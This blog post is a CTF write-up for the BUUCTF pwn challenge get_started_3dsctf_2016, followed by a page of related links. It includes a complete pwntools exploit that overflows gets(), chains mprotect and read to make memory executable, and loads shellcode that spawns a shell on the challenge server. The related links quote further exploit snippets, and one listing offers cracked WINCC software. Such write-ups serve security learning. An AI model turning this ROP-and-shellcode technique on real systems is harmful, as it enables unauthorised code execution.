BUUCTF PWN get_started_3dsctf_2016

【BUUCTF-PWN】12-get_started_3dsctf_2016 垃圾数据–>mprotect函数地址–>三个连续的pop地址–>.got.plt表起始地址–>内存长度–>内存权限–>read函数–>三个连续的pop地址–>read函数的三个参数–> .got.plt表的起始位置。其中gets()函数存在栈溢出,溢出距离为0x38,这里是使用的esp寻址,属于外平栈,不需要覆盖ebp的四个字节。第二种是直接在IDA中查找,crtl+s调出程序的段表,这里还不太清楚怎么去选择可用的程序段,看很多博客都是直接用的.got.plt的起始位置。 阅读详情

1.checksec +运行

32位/NX保护

2.32位IDA

1.main函数

gets()函数溢出

跟进v4看看偏移

offset=0x38

这个题有些不同,看看调用函数的汇编

 该题没有用ebp寻址,用的是esp寻址

也就是说不需要覆盖ebp四字节

这就说明有时候后卡住回去仔细看看汇编

2.get_flag 

 if ( a1 == 814536271 && a2 == 425138641 )

a1/a2满足条件即可得到flag.txt

跟进a1/a2看一下在的位置

发现在00000000后面,没有办法利用溢出控制程序

此题的预期解应该是利用程序中的mprotect函数 

mprotect()函数可参考我另一个博客 

Ret2csu Jarvisoj level5_x64_Rt1Text的博客-优快云博客

3.脚本

from pwn import *

elf=ELF('13dsctf2016')
#p=process("./13dsctf2016")
p=remote("node4.buuoj.cn",25007)

pop3_ret = 0x804951D

mem_addr = 0x80EB000
mem_size = 0x1000    
mem_proc = 0x7       

mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']


payload  = 'A' * 0x38
payload += p32(mprotect_addr)
payload += p32(pop3_ret) 


payload += p32(mem_addr) 
payload += p32(mem_size)  
payload += p32(mem_proc)   

payload += p32(read_addr)

payload += p32(pop3_ret)  


payload += p32(0)     
payload += p32(mem_addr)   
payload += p32(0x100) 

payload += p32(mem_addr)   

p.sendline(payload)

payload = asm(shellcraft.sh()) 

p.sendline(payload)

p.interactive()

[BUUCTF]PWN11——get_started_3dsctf_2016 [BUUCTF]PWN11——get_started_3dsctf_2016 题目网址:https://buuoj.cn/challenges#get_started_3dsctf_2016 步骤: 第一个方法,本地打通,要自己创建一个flag.txt 例行检查,32位,开启了nx保护 nc一下,看看程序大概的执行情况 32位ida载入,shift+f12查看程序里的字符串,看到了flag.txt 双击跟进,ctrl+x查看哪个函数调用了它,发现了一个函数,当a1=0x308cd64f,a2=0x19 阅读详情

相关推荐

【BUUCTF - PWN】get_started_3dsctf_2016

checksec一下,可以栈溢出 IDA打开看看,一个很普通的栈溢出漏洞,有后门函数,应该说是一道非常简单的题了 但是,本地打通非常容易,可是靶机打不通 =_= 于是乎,换个方法,利用mprotect函数修改bss段为rwx,写入shellcode跳过去执行 from pwn import * from LibcSearcher import * context.os='linux' con...

古月浪子的博客 1679

BUUCTF pwn——get_started_3dsctf_2016

BUUCTF 做题练习

CNS-Enterprise BCC-1701-J 288

BUUCTF pwn题exp整合

0x01 rip from pwn import* p = remote('node3.buuoj.cn',27511) payload = 'a'*23+p64(0x401198)+p64(0x401186) p.sendline(payload) p.interactive()   0x02 warmup_csaw_2016 from pwn import * #p = proces...

菜的只能随便写写博客 809

get_started_3dsctf_2016【BUUCTF】(两种解法)

get_started_3dsctf_2016

qq_41696518的博客 2094

BUUCTF-Pwn-get_started_3dsctf_2016

题目截图

餐桌上的猫 319

get_started_3dsctf_2016|get_started_3dsctf_2016

网络安全逆向PWN题目,简单的栈溢出,虽然有后门函数,但同时又给了一定的限制条件,可以使用更复杂的ROP解法。该样本题解:https://blog.youkuaiyun.com/A951860555/article/details/111030289

BUUCTF get_started_3dsctf_2016

mprotect的运用

zwb2603096342的博客 1948

Echarts之风力风速玫瑰图

风力风速玫瑰图前言改进之路代码如下总结导出与导入 前言 今天上班收到任务,我们老大让我研究一下这个“风速风向玫瑰图”,还说这个是百度的雷达图的变异体,于是乎我直接找的雷达图,但是雷达图没有这种柱形的,都是点线,然后我又找了好久,最后突然在echarts官网上面看到了图1-2,才终于有了思路,原来这个图不是雷达图的变异体,而是极坐标系下的堆叠柱状图,于是就开始我的“改进”之路了。 图1-1 改进之路...

qq_38776605的博客 1万+

[BUUCTF-pwn]——get_started_3dsctf_2016

[BUUCTF-pwn]——get_started_3dsctf_2016 题目地址:https://buuoj.cn/challenges#get_started_3dsctf_2016 题目: 这道题让我学到很多细节,虽然又一次栽倒了没有ebp的坑中 首先还是先checksec 一下看看,老样子32位NX保护. IDA中 看到这些,你是不是和我一样觉得so easy!!! 我一开始也觉得这种题 payload = ‘a’ * offest + ‘junk’ + get_flag的地址 +

Y_peak的博客 335

MOSFET热失效机理与保护电路设计:实战案例

深入解析MOSFET工作原理及其在高温下的失效机制,结合实际案例探讨有效保护电路设计,提升系统可靠性与安全性。

weixin_28713083的博客 850

多智能体强化学习论文——SEAC(NIPS 2020)

存在的问题&研究动机&研究思路 在稀疏奖励的环境下,多智能体的exploration存在效率不足等问题。 在IAC的基础上尝试加入重要性采样,使得每次更新智能体iii的参数时,不再仅仅使用智能体iii的数据,而是使用所有智能体的数据进行智能体iii数据的更新。 对于原始的IAC算法是on-policy的,而SEAC则是off-poligy的。 创新点 在每个智能体iii的actoriactor_iactori​和criticicritic_icritici​的更新过程中,都加入了重要性

我的AI笔记 1207

BUUCTF(Pwn)get_started_3dsctf_2016

from pwn import * p = remote("node3.buuoj.cn",28584) context.log_level = 'debug' a1 = 0x308cd64f a2 = 0x195719d1 get_flag_addr = 0x080489A0 exit_addr = 0x0804E6A0 payload = 'a'* 0x38 + p32(get_flag_addr) + p32(exit_addr)+ p32(a1) + p32(a2) p.sendline(pay..

半岛铁盒的博客 456

ANSYS MAXWELL内置式永磁同步电机(IPMSM)转矩最大时输入电流相位的确定

1.在转子转速为零时看一个周期内的转矩变化

qq_41752507的博客 6517

BUUCTF Pwn get_started_3dsctf_2016 题解

运行,得到flag:flag{00345dee-a8e3-4342-955a-a12d7306c4fe}因为函数是void类型 所以返回地址借用exit()函数的地址。发现想要得到flag,需要让函数传入的参数都等于特定值才行。32位elf 拖到IDA32。那就构造带函数参数的栈溢出。

qq_33348179的博客 252

ggml_cgraph 详解

是 GGML 库的(Computation Graph)结构,它是深度学习框架的核心,用于表示、优化和执行神经网络的计算过程。

zhouzwd87的专栏 1203

基于 Simulink 的飞轮储能系统(Flywheel Energy Storage System, FESS)充放电协调控制实战教程

本教程详细介绍了基于Simulink的飞轮储能系统(FESS)建模与控制方法。系统采用永磁同步电机(PMSM)和背靠背变流器架构,包含机侧全速域矢量控制和网侧直流稳压控制。重点讲解了机电耦合建模、FOC控制算法实现、基于电压下垂的协调控制策略,以及混合储能系统设计思路。教程提供了MATLAB函数代码示例,并给出典型工况下的仿真波形分析指南,同时指出了常见问题解决方案。该模型可用于研究飞轮储能在调频、能量回收等场景的应用,为新能源消纳和微网稳定提供仿真工具。

MHD0815的博客 167

get_started_3dsctf_2016 | PWN | BUUCTF | mprotect函数

【声明:我不会做,所以学习别人的看看能不能看懂】 from pwn import * context(arch='i386',os='linux') r=remote('node4.buuoj.cn',29114) elf=ELF('./get_started_3dsctf_2016') mprotect_addr=elf.symbols['mprotect'] read_addr=elf.symbols['read'] main_addr=elf.symbols['main'] ppp3_addr=0x

Dem1的博客 294

手把手教你学Simulink——基于Simulink的电压型 vs 电流型整流器性能对比

摘要:本文基于Simulink平台对比分析了电压型整流器(VSR)和电流型整流器(CSR)的性能差异。VSR采用电容滤波,具有高功率因数(PF>0.99)、低输入电流THD(<3%)等优势,但动态响应较慢;CSR采用电感滤波,动态响应快(<0.05s),但THD较高(5%~8%)。研究建立了统一测试平台,详细对比了两者在稳态性能、动态响应、效率等方面的差异,并给出了控制算法实现和参数优化建议。通过量化分析,为电力电子工程师提供了拓扑选型依据,可根据恒压/恒流需求选择最优方案,有效缩短开发周

MHD0815的博客 172

BUUCTF PWN刷题笔记(持续更新!!)

64位,没有开启保护。点进去没发现明显的漏洞函数,考虑泄露libc基地址的rop构造。先看看有多少gadget估计也够用了。puts函数只接受一个参数,观看汇编看看用的哪个寄存器传输的参数。用的是edi。但是我们怎么找到so的版本呢,因为我们必须要知道so文件种puts函数的偏移量,才可以和泄露出puts的地址结合找到基址。可以用LibcSearch模块来搜索。libcsearch(符号,地址)新的心得:1.64位有效地址是6字节。2.libc.dump是LibcSearch的内置函数。

wlmt666的博客 1285

uniapp - 实现移动端H5微信公众号网页内置浏览器中预览和下载word文档(doc)、excel表格(xls)、ppt文稿、pdf文档等文件,微信内部打开预览和下载到本地详教程,兼容安卓苹果手机

uni-app,微信公众号,h5,移动端,web平台端,网页,网站,Uniapp微信公众号H5网站,内置浏览器下载文档,如何在微信浏览器中预览office文件,word文档,excel文档,pdf文档,ppt文档,office,微信内置浏览器下载文件,下载文件,在微信浏览器里面实现下载任意文件,H5需要在微信浏览器中下载excel文件,UniApp实现网页在微信内置浏览器中下载文件详细教程,安卓点击下载会提示打开浏览器,后端返回流文件,如何解决无法下载文件,跳转至浏览器下载文件,发送到电脑微信,安卓,苹果,

🏆 前端领域优质创作者 1万+

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

【Buuctf】 get_started_3dsctf_2016 1

pwn https://buuoj.cn/challenges#get_started_3dsctf_2016 心得

A3138246926的博客 576

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

【pwn】 3dsctf2016_get_started

例行检查 file一下,发现是静态连接的,还没有Pie。 分析程序发现是简单栈溢出,还有一个get_flag函数?于是直接返回到get_flag函数执行,但是远程没有打通,然后试了下本地可以打通,然后猜测可能是远程环境部署错了,没有flag.txt文件? 然后试试别的方法。 由于是静态链接里面函数还是很多的。 1.mprotect,修改某地址为rwx,随后写入shellcode,然后getshel...

Nothing 370

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

BUUCTF get_started_3dsctf_2016 wp

本文是基于BUUCTF平台 get_started_3dsctf_2016 一题的题解

AEJL叁的博客,欢迎关注! 1689

保姆级教程|手把手带你通关BUUCTF get_started_3dsctf_2016:栈溢出 + ROP + ret2text + ret2shellcode全解析

保姆级教程|手把手带你通关BUUCTF get_started_3dsctf_2016:栈溢出 + ROP + ret2text + ret2shellcode全解析

2301_76794844的博客 1212

BUU刷题-Pwn-get_started_3dsctf_2016

执行完mprotect函数后,esp指向return_addr无法执行下一个有参数的函数(因为无法传参)所以必须将esp指向read_addr,可以将return1_addr设置成pop…利用mprotect函数开启可执行权限(指定的内存区间必须包含整个内存页(4K),起始地址 start 必须是一个内存页的起始地址,并且区间长度 len 必须是页大小的整数倍,不然无法修改权限)利用栈溢出开启某一个空白内存的可执行权限,将shellcode写入并执行即可获得主机权限。所以栈的结构应该布置成。

一个啥也不会的小菜鸡! 185
上一篇: BUUCTF PWN bjdctf_2020_babystack
下一篇: BUUCTF 第五空间2019PWN5
Rt1Text
博客等级 码龄5年 14粉丝 53原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值